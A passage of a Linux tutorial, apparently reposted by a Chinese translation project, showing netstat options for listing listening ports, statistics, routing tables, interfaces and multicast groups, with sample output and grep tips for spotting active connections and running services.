~$ sudo netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN 1144/dnsmasq
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 661/cupsd
tcp6 0 0 ::1:631 :::* LISTEN 661/cupsd
When using the p option, netstat must be run with root privileges, otherwise it cannot detect the pids of processes running with root privileges and most services like http and ftp often run with root privileges.
Along with process name/pid its even more useful to get the username/uid owning that particular process. Use the e option along with the p option to get the username too.
$ sudo netstat -ltpe
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 enlightened:domain *:* LISTEN root 11090 1144/dnsmasq
tcp 0 0 localhost:ipp *:* LISTEN root 9755 661/cupsd
tcp6 0 0 ip6-localhost:ipp [::]:* LISTEN root 9754 661/cupsd
The above example lists out Listening connections of Tcp type with Process information and Extended information.
The extended information contains the username and inode of the process. This is a useful command for network administrators.
**Note** - If you use the n option with the e option, the uid would be listed and not the username.
### 6. Print statistics ###
The netstat command can also print out network statistics like total number of packets received and transmitted by protocol type and so on.
To list out statistics of all packet types
$ netstat -s
Ip:
32797 total packets received
0 forwarded
0 incoming packets discarded
32795 incoming packets delivered
29115 requests sent out
60 outgoing packets dropped
Icmp:
125 ICMP messages received
0 input ICMP message failed.
ICMP input histogram:
destination unreachable: 125
125 ICMP messages sent
0 ICMP messages failed
ICMP output histogram:
destination unreachable: 125
... OUTPUT TRUNCATED ...
To print out statistics of only select protocols like TCP or UDP use the corresponding options like t and u along with the s option. Simple!
### 7. Display kernel routing information ###
The kernel routing information can be printed with the r option. It is the same output as given by the route command. We also use the n option to disable the hostname lookup.
$ netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
### 8. Print network interfaces ###
The netstat command can also print out the information about the network interfaces. The i option does the task.
$ netstat -i
Kernel Interface table
Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 1500 0 31611 0 0 0 27503 0 0 0 BMRU
lo 65536 0 2913 0 0 0 2913 0 0 0 LRU
The above output contains information in a very raw format. To get a more human friendly version of the output use the e option along with i.
$ netstat -ie
Kernel Interface table
eth0 Link encap:Ethernet HWaddr 00:16:36:f8:b2:64
inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::216:36ff:fef8:b264/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:31682 errors:0 dropped:0 overruns:0 frame:0
TX packets:27573 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29637117 (29.6 MB) TX bytes:4590583 (4.5 MB)
Interrupt:18 Memory:da000000-da020000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:2921 errors:0 dropped:0 overruns:0 frame:0
TX packets:2921 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:305297 (305.2 KB) TX bytes:305297 (305.2 KB)
The above output is similar to the output shown by the ifconfig command.
### 9. Get netstat output continuously ###
Netstat can output connection information continuously with the c option.
$ netstat -ct
The above command will output tcp connections continuously.
### 10. Display multicast group information ###
The g option will display the multicast group information for IPv4 and IPv6 protocols.
$ netstat -g
IPv6/IPv4 Group Memberships
Interface RefCnt Group
--------------- ------ ---------------------
lo 1 all-systems.mcast.net
eth0 1 224.0.0.251
eth0 1 all-systems.mcast.net
lo 1 ip6-allnodes
lo 1 ff01::1
eth0 1 ff02::fb
eth0 1 ff02::1:fff8:b264
eth0 1 ip6-allnodes
eth0 1 ff01::1
wlan0 1 ip6-allnodes
wlan0 1 ff01::1
### More examples of netstat command ###
Okay, we covered the basic examples of netstat command above. Now its time to do some geek stuff with style.
### Print active connections ###
Active socket connections are in "ESTABLISHED" state. So to get all current active connections use netstat with grep as follows
$ netstat -atnp | grep ESTA
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 192.168.1.2:49156 173.255.230.5:80 ESTABLISHED 1691/chrome
tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED 1691/chrome
To watch a continous list of active connections, use the watch command along with netstat and grep
$ watch -d -n0 "netstat -atnp | grep ESTA"
### Check if a service is running ###
If you want to check if a server like http,smtp or ntp is running or not, use grep again.
$ sudo netstat -aple | grep ntp
udp 0 0 enlightened.local:ntp *:* root 17430 1789/ntpd
udp 0 0 localhost:ntp *:* root 17429 1789/ntpd
udp 0 0 *:ntp *:* root 17422 1789/ntpd
udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* root 17432 1789/ntpd
udp6 0 0 ip6-localhost:ntp [::]:* root 17431 1789/ntpd
udp6 0 0 [::]:ntp [::]:* root 17423 1789/ntpd
unix 2 [ ] DGRAM 17418 1789/ntpd
So we found that ntp server is running. Grep for http or smtp or whatever you are looking for.
Well, that was most of what netstat is used for. If you are looking for more advanced information or want to dig deeper, read up the netstat manual (man netstat).
And do leave your feedback and suggestions in the comments box below.
--------------------------------------------------------------------------------
via: http://www.binarytides.com/linux-netstat-command-examples/
译者:[FingerLiu](https://github.com/FingerLiu) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

Some files were not shown because too many files have changed in this diff Show More